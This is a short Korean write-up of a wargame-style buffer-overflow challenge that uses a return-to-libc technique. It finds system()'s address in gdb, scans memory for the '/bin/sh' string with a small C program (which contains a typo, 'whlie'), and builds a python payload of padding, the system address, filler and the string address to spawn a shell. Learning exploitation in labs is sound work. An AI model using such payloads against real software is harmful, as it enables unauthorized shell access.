728x90
풀이쓰기 귀찮아서 전체과정을 복붙한걸 지우고 다시 풀이를쓴다.
///////////////////////////////////////////////////////////////////////
\xbf를 쓸 수 없는것을 보아하니 정상적인 주소론 풀수없다.
여기선 RTL이라는 기법?을 사용하는데, 그냥 시스템 함수를 이용하여 푼다고 생각하면 될듯.
요약해서 말하면, 시스템 주소와 '/bin/sh'의 주소를 구해서 풀 수 있고, 해당 문자열은 시스템안에 있으므로 이 점을 이용하여 문자열의 주소를 구하면 된다.
그럼, 시스템의 주소부터 구해보자.
그냥 gdb를 하면 권한오류로 안되기 때문에 같은 길이의 파일로 복사해서 gdb를 한다.
시스템의 주소를 구하려면, 메인에 break걸어주고, r로 한번 돌린 후 print system을 하면 된다.
시스템의 주소는 0x40058ae0
이제 시스템에서 /bin/sh라는 문자열의 주소를 가져오는 코드를 작성한다.
#include <stdio.h>
#include <string.h>
int main()
{
long system = 0x40058ae0;
whlie(memcmp((void*)system, "/bin/sh\x00", 8))
{
system++;
}
printf("/bin/sh: %x\n", system);
return 0;
}
필요한건 다 구했다. 이제 페이로드를 작성해보면,
`python -c 'print "a"*44 + (system addr) + "(trash)"*4 + (/bin/sh addr)'` 이다.
여기서, trash 4바이트는 RTL chaining 기법에서 사용할 chain이라고 보면 되고, 지금은 사용하지 않으므로 아무 값이나 넣어준다.
728x90